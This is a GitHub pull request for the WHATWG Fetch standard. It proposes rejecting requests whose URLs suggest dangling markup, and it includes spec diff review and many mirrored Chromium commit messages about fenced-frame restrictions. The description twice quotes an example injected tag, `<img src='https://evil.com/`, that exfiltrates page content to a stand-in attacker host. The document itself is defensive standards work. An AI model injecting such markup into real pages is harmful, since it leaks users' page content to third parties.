-
Notifications
You must be signed in to change notification settings - Fork 328
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Block requests for suspected dangling markup. #519
base: main
Are you sure you want to change the base?
Conversation
As a mitigation against dangling markup attacks (which inject open tags like `<img src='https://evil.com/` that eat up subsequent markup, and exfiltrate content to an attacker), this patch tightens request processing to reject those that contain a `<` character (consistent with an HTML element), _and_ had newline characters stripped during URL parsing (see whatwg/url#284). It might be possible to URLs whose newline characters were stripped entirely, based on initial metrics. If those pan out the way I hope, we can tighten this up in the future.
It feels a bit hacky to have unexplained checks like this in Fetch, but I'm not sure there's a better spot. WDYT? /cc Random sampling of folks who come to mind for opinions from other vendors: @valenting, @dveditz, @youennf, @johnwilander, @travisleithead, @mcmanus |
fetch.bs
Outdated
@@ -2408,6 +2408,10 @@ with a <i>CORS flag</i> and <i>recursive flag</i>, run these steps: | |||
not <a lt="is local">local</a>, set | |||
<var>response</var> to a <a>network error</a>. | |||
|
|||
<li><p>If |request|'s <a for=request>url</a>'s <a for=url>parser-removed-tab-or-newline flag</a> | |||
is set, and |request|'s <a for=request>url</a> <a for=url>path</a> contains a U+003C | |||
code point ("<code><</code>"), then set <var>response</var> to a <a>network error</a>. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Path is a list, so this doesn't quite work. Also, < doesn't end up as a literal in the URL, it becomes "%3C".
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ugh. Right. Would you prefer that I:
- Add a "this is potentially dangling markup" flag to URL that is set during parsing (which might help with the explanation here)?
- Walk through the items in
path
looking for characters? - Serialize the URL and walk through that?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would be happy with the flag. I don't see how 2 and 3 can work if you want to distinguish between %3C and < on input.
https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ spells out the justification a little more clearly. If folks don't fundamentally object, this is something I plan to try out in Chrome: relevant metrics show ~0.0006% of page views (https://www.chromestatus.com/metrics/feature/timeline/popularity/1770). If we could get rid of the newline scan entirely by rejecting URLs with those characters outright, I'd be even happier. Chrome's initial metrics are high (https://www.chromestatus.com/metrics/feature/timeline/popularity/1768), but they're also wrong because a) I forgot to initialize the URL's "was whitespace removed?" flag, so it's sometimes randomly |
(Blink-only tests at https://cs.chromium.org/chromium/src/third_party/WebKit/LayoutTests/http/tests/security/dangling-markup/src-attribute.html. I'll upstream those to WPT if folks aren't opposed to the notion.) |
Merged in the last few ~2 months of changes, and updated on top of a new flag in URL. |
@@ -2424,7 +2424,8 @@ with a <i>CORS flag</i> and <i>recursive flag</i>, run these steps: | |||
|
|||
<li><p>If |request|'s <a for=request>url</a>'s <a for=url>parser-removed-tab-or-newline flag</a> | |||
is set, and |request|'s <a for=request>url</a>'s <a for=url>parser-escaped-less-than flag</a> is | |||
set, then set <var>response</var> to a <a>network error</a>. | |||
set, and |request|'s <a for=request>url</a>'s scheme is an <a>HTTP(S) scheme</a>, then set | |||
<var>response</var> to a <a>network error</a>. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You want one less "and".
Fixed the extra |
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <[email protected]> Cr-Commit-Position: refs/heads/master@{#474249} WPT-Export-Revision: 34b8d6ab689b1ecedef332baa2a155b543f50fa7
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Reviewed-by: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#474268} WPT-Export-Revision: 76847294b106c9c50e921ac523722675102d452e
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <[email protected]> Reviewed-by: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#474290} WPT-Export-Revision: 9545e01418eb8738e5646b86527b986b3f2047a1
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <[email protected]> Reviewed-by: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#474292} WPT-Export-Revision: 8f0c33883ba9ad137a9ed9fe8a758022230f3e06
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <[email protected]> Reviewed-by: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#474341}
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <[email protected]> Reviewed-by: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#474341}
Will it block like in PHP: a. |
With the overarching caveat that you ought to ensure that you're properly escaping variables before dumping them into HTML:
@annevk: The first pass at this is shipping through Chrome beta right now, and Firefox folks have expressed pretty clear interest (https://bugzilla.mozilla.org/show_bug.cgi?id=1369029). When my life is somewhat less chaotic, I'd like to get back to hammering out a way to get this well-defined without upsetting Apple. |
Sounds good, let me know if you need help in any way. |
Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <[email protected]> Reviewed-by: Jochen Eisinger <[email protected]> Cr-Original-Commit-Position: refs/heads/master@{#474341} Cr-Mirrored-From: https://chromium.googlesource.com/chromium/src Cr-Mirrored-Commit: 9e5ae901660de47ef1b844c6113eae91b5ae8e9e
I know it has been awhile, but is there any chance of revisiting this? Strictly speaking, if fenced frames were to follow the spec we'd be vulnerable to the dangling markup attacks that Chrome has since mitigated against for other kinds of requests. With that, I think we'll stop fenced frame navigations when the |
I think there is still interest in this, but it needs to be done in a way that doesn't require modifying the URL parser: whatwg/url#284 (comment). |
There is an old Fetch Standard PR up for review that blocks resource requests whose URL contains potentially dangling markup [1]. This is for security purposes, see [2] and [3]. While non-standard yet, Chromium has shipped this behavior, and we intend to do the same for fenced frames. This CL implements potentially dangling markup restrictions on all embedder-provided URLs for fenced frame navigations. When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. [1]: whatwg/fetch#519 [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 Bug: 1301333, 1318970 Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 Reviewed-by: Garrett Tanzer <[email protected]> Reviewed-by: Alex Moshchuk <[email protected]> Commit-Queue: Dominic Farolino <[email protected]> Cr-Commit-Position: refs/heads/main@{#1014928}
This reverts commit fe04c06. Reason for revert: Suspecting that this CL caused https://crbug.com/1337025 Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Commit-Queue: Dominic Farolino <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970 Change-Id: If4884825408c38882f439d8c5e47ba0271dc67a1 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3710059 Owners-Override: Łukasz Anforowicz <[email protected]> Reviewed-by: Sebastien Lalancette <[email protected]> Bot-Commit: Rubber Stamper <[email protected]> Auto-Submit: Łukasz Anforowicz <[email protected]> Reviewed-by: Łukasz Anforowicz <[email protected]> Commit-Queue: Sebastien Lalancette <[email protected]> Cr-Commit-Position: refs/heads/main@{#1015011}
This is a reland of commit fe04c06 Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Commit-Queue: Dominic Farolino <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970, 1337025 Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 Commit-Queue: Dominic Farolino <[email protected]> Reviewed-by: Garrett Tanzer <[email protected]> Reviewed-by: Alex Moshchuk <[email protected]> Cr-Commit-Position: refs/heads/main@{#1018831}
…g markup"" This reverts commit d168b7e. Reason for revert: Witness the following tests in constant failure list (mac/linux) when sheriffing, and this CL is in the list of potential regression culprit. virtual/fenced-frame-shadow-dom/wpt_internal/fenced_frame/disallowed-navigations.https.html virtual/fenced-frame-mparch/wpt_internal/fenced_frame/disallowed-navigations.https.html Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c06 > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <[email protected]> > > Reviewed-by: Alex Moshchuk <[email protected]> > > Commit-Queue: Dominic Farolino <[email protected]> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <[email protected]> > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I08c09fc7d7d35ccd5a826ce3d7f03e954a860bc0 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3734127 Bot-Commit: Rubber Stamper <[email protected]> Commit-Queue: Huanpo Lin <[email protected]> Owners-Override: Robert Lin <[email protected]> Cr-Commit-Position: refs/heads/main@{#1018955}
…g markup"" This is a reland of commit d168b7e Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c06 > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <[email protected]> > > Reviewed-by: Alex Moshchuk <[email protected]> > > Commit-Queue: Dominic Farolino <[email protected]> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <[email protected]> > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I12c002d7f42d7138a9ad07eaa3b25b6c5b3d5d36 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3781483 Reviewed-by: Nasko Oskov <[email protected]> Commit-Queue: Dominic Farolino <[email protected]> Reviewed-by: Garrett Tanzer <[email protected]> Cr-Commit-Position: refs/heads/main@{#1038987}
There is an old Fetch Standard PR up for review that blocks resource requests whose URL contains potentially dangling markup [1]. This is for security purposes, see [2] and [3]. While non-standard yet, Chromium has shipped this behavior, and we intend to do the same for fenced frames. This CL implements potentially dangling markup restrictions on all embedder-provided URLs for fenced frame navigations. When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. [1]: whatwg/fetch#519 [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 Bug: 1301333, 1318970 Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 Reviewed-by: Garrett Tanzer <[email protected]> Reviewed-by: Alex Moshchuk <[email protected]> Commit-Queue: Dominic Farolino <[email protected]> Cr-Commit-Position: refs/heads/main@{#1014928} NOKEYCHECK=True GitOrigin-RevId: fe04c0639254e5d021da539d321f2e3a64a0085c
This reverts commit fe04c0639254e5d021da539d321f2e3a64a0085c. Reason for revert: Suspecting that this CL caused https://crbug.com/1337025 Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Commit-Queue: Dominic Farolino <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970 Change-Id: If4884825408c38882f439d8c5e47ba0271dc67a1 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3710059 Owners-Override: Łukasz Anforowicz <[email protected]> Reviewed-by: Sebastien Lalancette <[email protected]> Bot-Commit: Rubber Stamper <[email protected]> Auto-Submit: Łukasz Anforowicz <[email protected]> Reviewed-by: Łukasz Anforowicz <[email protected]> Commit-Queue: Sebastien Lalancette <[email protected]> Cr-Commit-Position: refs/heads/main@{#1015011} NOKEYCHECK=True GitOrigin-RevId: 245696bb639221c56332cdea83bd961c99330183
This is a reland of commit fe04c0639254e5d021da539d321f2e3a64a0085c Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Commit-Queue: Dominic Farolino <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970, 1337025 Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 Commit-Queue: Dominic Farolino <[email protected]> Reviewed-by: Garrett Tanzer <[email protected]> Reviewed-by: Alex Moshchuk <[email protected]> Cr-Commit-Position: refs/heads/main@{#1018831} NOKEYCHECK=True GitOrigin-RevId: d168b7e00bbbca61bcdb6078694b3500f74863d5
…g markup"" This reverts commit d168b7e00bbbca61bcdb6078694b3500f74863d5. Reason for revert: Witness the following tests in constant failure list (mac/linux) when sheriffing, and this CL is in the list of potential regression culprit. virtual/fenced-frame-shadow-dom/wpt_internal/fenced_frame/disallowed-navigations.https.html virtual/fenced-frame-mparch/wpt_internal/fenced_frame/disallowed-navigations.https.html Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c0639254e5d021da539d321f2e3a64a0085c > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <[email protected]> > > Reviewed-by: Alex Moshchuk <[email protected]> > > Commit-Queue: Dominic Farolino <[email protected]> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <[email protected]> > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I08c09fc7d7d35ccd5a826ce3d7f03e954a860bc0 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3734127 Bot-Commit: Rubber Stamper <[email protected]> Commit-Queue: Huanpo Lin <[email protected]> Owners-Override: Robert Lin <[email protected]> Cr-Commit-Position: refs/heads/main@{#1018955} NOKEYCHECK=True GitOrigin-RevId: 249ad02da9846203ef3357bbc82c5145384b31b0
…g markup"" This is a reland of commit d168b7e00bbbca61bcdb6078694b3500f74863d5 Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c0639254e5d021da539d321f2e3a64a0085c > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <[email protected]> > > Reviewed-by: Alex Moshchuk <[email protected]> > > Commit-Queue: Dominic Farolino <[email protected]> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <[email protected]> > Reviewed-by: Garrett Tanzer <[email protected]> > Reviewed-by: Alex Moshchuk <[email protected]> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I12c002d7f42d7138a9ad07eaa3b25b6c5b3d5d36 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3781483 Reviewed-by: Nasko Oskov <[email protected]> Commit-Queue: Dominic Farolino <[email protected]> Reviewed-by: Garrett Tanzer <[email protected]> Cr-Commit-Position: refs/heads/main@{#1038987} NOKEYCHECK=True GitOrigin-RevId: fd8569850d538adc8e3012da1c7c8573f16a5356
As a mitigation against dangling markup attacks (which inject open tags like
<img src='https://evil.com/
that eat up subsequent markup, and exfiltratecontent to an attacker), this patch tightens request processing to reject
those that contain a
<
character (consistent with an HTML element), andhad newline characters stripped during URL parsing (see whatwg/url#284).
It might be possible to URLs whose newline characters were stripped entirely,
based on initial metrics. If those pan out the way I hope, we can tighten
this up in the future.
Preview | Diff